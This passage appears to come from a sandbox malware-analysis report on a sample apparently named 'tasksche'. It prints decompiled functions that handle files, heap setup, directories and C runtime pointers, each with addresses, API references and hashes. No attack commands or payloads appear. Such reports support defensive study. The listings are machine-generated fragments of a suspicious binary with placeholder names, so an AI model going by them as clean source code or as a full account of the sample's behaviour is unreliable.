COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,7703F370,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(E004295E1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 004096BC Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096BC(intOrPtr __edx, WCHAR* _a4, intOrPtr _a8) {
				void* _t11;
				intOrPtr _t21;

				_t21 = _a8;
				 *((char*)(_t21 + 0x1044)) = 0;
				if(E0040A0A4(_a4) == 0) {
					_t11 = E00409476(__edx, 0xffffffff, _a4, _t21); // executed
					if(_t11 == 0xffffffff) {
						goto L1;
					}
					FindClose(_t11); // executed
					 *(_t21 + 0x1040) =  *(_t21 + 0x1040) & 0x00000000;
					 *((char*)(_t21 + 0x100c)) = E0040901C( *((intOrPtr*)(_t21 + 0x1008)));
					 *((char*)(_t21 + 0x100d)) = E00409034( *((intOrPtr*)(_t21 + 0x1008)));
					return 1;
				}
				L1:
				return 0;
			}

0x004096bd
0x004096c5
0x004096d3
0x004096e0
0x004096e8
0x00000000
0x00000000
0x004096ec
0x004096f2
0x00409708
0x00409713
0x00000000
0x0040971b
0x004096d5
0x00000000

APIs

Part of subcall function 0040A0A4: _wcspbrk.LIBCMT ref: 0040A0B5

FindClose.KERNELBASE(00000000,00000800,000000FF,?,?,?,?,00408411,?,?,00000000,?,00000800), ref: 004096EC

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseFind_wcspbrk
String ID:
API String ID: 2190230203-0
Opcode ID: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction ID: c5db38677187ea9b8dec244fb3c8af9ff7d0a6647eff614e001a313c4cd0766c
Opcode Fuzzy Hash: 85123c6e94d2e517bbdffd63dea6bf8ab785228859dafa86eb4c7b41f0ab578b
Instruction Fuzzy Hash: 21F09635005380ABCA225B658404AC77B945F55365F048A1EB1F9621D7C279545ADB26

Uniqueness

Uniqueness Score: -1.00%

Function 00407074 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00407074(intOrPtr __ecx) {
				void* __edi;
				void* __esi;
				void* _t11;
				void* _t14;
				intOrPtr _t21;
				intOrPtr _t24;
				void* _t26;

				E0041A4DC(E0042966D, _t26);
				_push(__ecx);
				_t24 = __ecx;
				 *((intOrPtr*)(_t26 - 0x10)) = __ecx;
				_t21 =  *((intOrPtr*)(__ecx + 0x4448));
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t29 = _t21;
				if(_t21 != 0) {
					E004155EF(_t14, _t21, _t21); // executed
					E0041A4FB(_t14, _t21, __ecx, _t29, _t21); // executed
				}
				_t5 = _t26 - 4;
				 *(_t26 - 4) =  *(_t26 - 4) | 0xffffffff;
				_t11 = E00401001(_t24 + 0x10,  *_t5);
				 *[fs:0x0] =  *((intOrPtr*)(_t26 - 0xc));
				return _t11;
			}

0x00407079
0x0040707e
0x00407080
0x00407083
0x00407086
0x0040708c
0x00407090
0x00407092
0x00407096
0x0040709c
0x004070a1
0x004070a2
0x004070a2
0x004070a9
0x004070b3
0x004070bb

APIs

__EH_prolog.LIBCMT ref: 00407079

Part of subcall function 004155EF: __EH_prolog.LIBCMT ref: 004155F4

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction ID: da238740c98ae75ebc3f5927faf798116ad114c2e9bc9b884e51ec1b39bdab83
Opcode Fuzzy Hash: 87706284f8ccbc03753738a0be538c99bba682efd2688e5f1f5aa8a82baee0a0
Instruction Fuzzy Hash: D1E06D32A11610ABC715AB29C4066EEF3B9EFC0728F10422FA062636C1DBB86D418659

Uniqueness

Uniqueness Score: -1.00%

Function 00410DDE Relevance: 1.5, APIs: 1, Instructions: 21
threadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00410DDE() {
				void* _t2;

				L00411982(); // executed
				_t2 = E0041197C();
				if(_t2 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				if( *0x4335b7 != 0) {
					_t2 = E00406371(0x4335ac, 0xff);
				}
				__imp__SetThreadExecutionState(1);
				return _t2;
			}

0x00410de0
0x00410de5
0x00410df6
0x00410dfb
0x00410dfb
0x00410e07
0x00410e0c
0x00410e0c
0x00410e13
0x00410e1b

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00410E13

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction ID: ce8ef4de1523c5d0242b00cb845f3d850d1a93a8e5a83f46045a12d46b5ed054
Opcode Fuzzy Hash: 99114e7ac6e4293e68323f01352a3d081b9a398302f12d6f006bb62c0eb9cb63
Instruction Fuzzy Hash: 62D0C23170015022CA213B2B2815BEE56194F81724F0900BFB501622E38EAC09C281EE

Uniqueness

Uniqueness Score: -1.00%

Function 00409720 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409720(void* __ebx, void* __ecx, char _a4) {
				void* __edi;
				intOrPtr _t7;
				void* _t11;
				void* _t12;
				void* _t15;

				_t18 = _a4;
				_t15 = __ecx;
				 *((char*)(__ecx + 8)) = 0;
				if(_a4 == 0) {
					_t4 = __ecx + 0xc;
					 *_t4 =  *(__ecx + 0xc) & 0x00000000;
					__eflags =  *_t4;
				} else {
					_t7 = E0041A0EA(__ebx, _t11, 0x8003, _t18, 0x8003, _t12); // executed
					 *((intOrPtr*)(_t15 + 0xc)) = _t7;
					E0041A820(0x8003, _t7, 0, 0x8003);
				}
				return _t15;
			}

0x00409720
0x00409726
0x00409728
0x0040972c
0x0040974c
0x0040974c
0x0040974c
0x0040972e
0x00409735
0x0040973e
0x00409741
0x00409749
0x00409753

APIs

_memset.LIBCMT ref: 00409741

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction ID: 57c48ace6bef99692c10c7cc37c4410ce12e8001caaa4568d5ee7d388360cf58
Opcode Fuzzy Hash: c61d5f3dc6c1f9b97ffe444c65296dc1c5881d1e0fbf0653a527c25b506bb31f
Instruction Fuzzy Hash: D7E0CD729053406AD371751D9C04F579AD85B95725F14C82FB089A32C3C1BC5C51C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041EDF7 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EDF7(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x44f848 = _t6;
				if(_t6 != 0) {
					 *0x451420 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0041ee0c
0x0041ee12
0x0041ee19
0x0041ee20
0x0041ee26
0x0041ee1c
0x0041ee1c
0x0041ee1c

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0041EE0C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction ID: eb53d8fa6b9c670d76401f9b6e634384cdf5b6bc28e7f080834842f41bea832e
Opcode Fuzzy Hash: 6c78c704c61e396e770c5c9d5bf39bc32bfab303bf8d18d204e2a82309729daa
Instruction Fuzzy Hash: E6D05E366503485ADB106F716C09B763BDCD384396F104436BC1DC6150F775C5A09A48

Uniqueness

Uniqueness Score: -1.00%

Function 00408C5A Relevance: 1.5, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408C5A(void* __ecx) {
				void* _t2;
				long _t3;

				_t2 =  *(__ecx + 4);
				if(_t2 != 0xffffffff) {
					_t3 = GetFileType(_t2); // executed
					if(_t3 == 2 || _t3 == 3) {
						return 1;
					} else {
						return 0;
					}
				} else {
					return 0;
				}
			}

0x00408c5a
0x00408c60
0x00408c66
0x00408c6f
0x00408c7c
0x00408c76
0x00408c78
0x00408c78
0x00408c62
0x00408c64
0x00408c64

APIs

GetFileType.KERNELBASE(?,00408CDA,?,00408EB0,?,00000000,?,?,00000000), ref: 00408C66

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction ID: 2361e1c995e4a541e26ad64c94d2af3b89e31d8e4072a4a2db2c19a8efa4df55
Opcode Fuzzy Hash: b9077224b9f88db5cd0ce6d94ac7233058a1c10921077028cad7c3ce69d3e2a2
Instruction Fuzzy Hash: 8EC0127151610056DF2046385A8845B376687433667789FF9E071D12E5CB3ECC56B025

Uniqueness

Uniqueness Score: -1.00%

Function 0041C993 Relevance: 1.5, APIs: 1, Instructions: 14
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 75%

			E0041C993(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t9;
				void* _t18;

				_push(0xc);
				_push(0x42d6f8);
				E0041FA9C(__ebx, __edi, __esi);
				E00421501();
				 *(_t18 - 4) =  *(_t18 - 4) & 0x00000000;
				_t9 = E0041C8A8(__edx,  *((intOrPtr*)(_t18 + 8))); // executed
				 *((intOrPtr*)(_t18 - 0x1c)) = _t9;
				 *(_t18 - 4) = 0xfffffffe;
				E0041C9C9();
				return E0041FAE1( *((intOrPtr*)(_t18 - 0x1c)));
			}

0x0041c993
0x0041c995
0x0041c99a
0x0041c99f
0x0041c9a4
0x0041c9ab
0x0041c9b1
0x0041c9b4
0x0041c9bb
0x0041c9c8

APIs

Part of subcall function 00421501: __lock.LIBCMT ref: 00421503

__onexit_nolock.LIBCMT ref: 0041C9AB

Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8B7
Part of subcall function 0041C8A8: __decode_pointer.LIBCMT ref: 0041C8C7
Part of subcall function 0041C8A8: __msize.LIBCMT ref: 0041C8E5
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C909
Part of subcall function 0041C8A8: __realloc_crt.LIBCMT ref: 0041C91F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C931
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C93F
Part of subcall function 0041C8A8: __encode_pointer.LIBCMT ref: 0041C94A

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: __encode_pointer$__decode_pointer__realloc_crt$__lock__msize__onexit_nolock
String ID:
API String ID: 1316407801-0
Opcode ID: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction ID: e58e71dbedfae0fd7c0196075773fdb904cc218e0a70426679e08a5f69f6d609
Opcode Fuzzy Hash: b55de3884da01d1a9e97354b2d40eb13cce2566ab91c9d35cf75a163aba5e344
Instruction Fuzzy Hash: 8ED05B71E41605EACB10BFE6DC427CD77706F44315F60416FB018550D2C67C45C14A1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D513 Relevance: 1.5, APIs: 1, Instructions: 11
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D513(void* __edx, intOrPtr _a20, intOrPtr _a28) {
				void* _t5;

				SendDlgItemMessageW( *0x441844, 0x6a, 0x402, E0040D1DE(_a20, _a28), 0); // executed
				_t5 = E0040D116(); // executed
				return _t5;
			}

0x0040d530
0x0040d536
0x0040d53b

APIs

SendDlgItemMessageW.USER32 ref: 0040D530

Part of subcall function 0040D116: PeekMessageW.USER32 ref: 0040D127
Part of subcall function 0040D116: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
Part of subcall function 0040D116: TranslateMessage.USER32(?), ref: 0040D142
Part of subcall function 0040D116: DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchItemPeekSendTranslate
String ID:
API String ID: 4142818094-0
Opcode ID: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction ID: 888b2871e718dea131dfcf0ec1cbc21fe8f041a13ed789b986bd41985b0bed4c
Opcode Fuzzy Hash: 7040c51d5953534f53b945be8071fa726febfab1a70e776a765f2f75df90e843
Instruction Fuzzy Hash: FDC01235240300ABE7117B50DD07F1A3A62BB88B09F808039BA81380F2CEB648369A0A

Uniqueness

Uniqueness Score: -1.00%

Function 00408C47 Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00408C47(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00408c4a
0x00408c53
0x00408c56

APIs

SetEndOfFile.KERNELBASE(?,004080D7,?,?,?,?,?,?), ref: 00408C4A

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction ID: 463f2a0b6f7528456a39aa395305c1415068e572747894341c9f749ccc5f34b3
Opcode Fuzzy Hash: 372b206049e22359e890f019f69c17f88631756899d3b8a56b0e056d033f7bf1
Instruction Fuzzy Hash: 80B012703E0006878E102B30CD084143910D71130630041B0600AC6061CB13C0135611

Uniqueness

Uniqueness Score: -1.00%

Function 00419C88 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00419C88(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x00419c8c
0x00419c94
0x00419c98

APIs

SetCurrentDirectoryW.KERNELBASE(?,0040D8E5,0042A65C,00000000,?,00000006,?,00000800), ref: 00419C8C

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction ID: 2a7281b05ebb75ae791a00df68b116ffeccc810d55834c007acaed3bb23dd98c
Opcode Fuzzy Hash: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction Fuzzy Hash: 50A012302940064F8A100B30CC0D82577506760702F0096307002C10A4CB304430A505

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E6FF
Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000005,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E716
Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E754

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

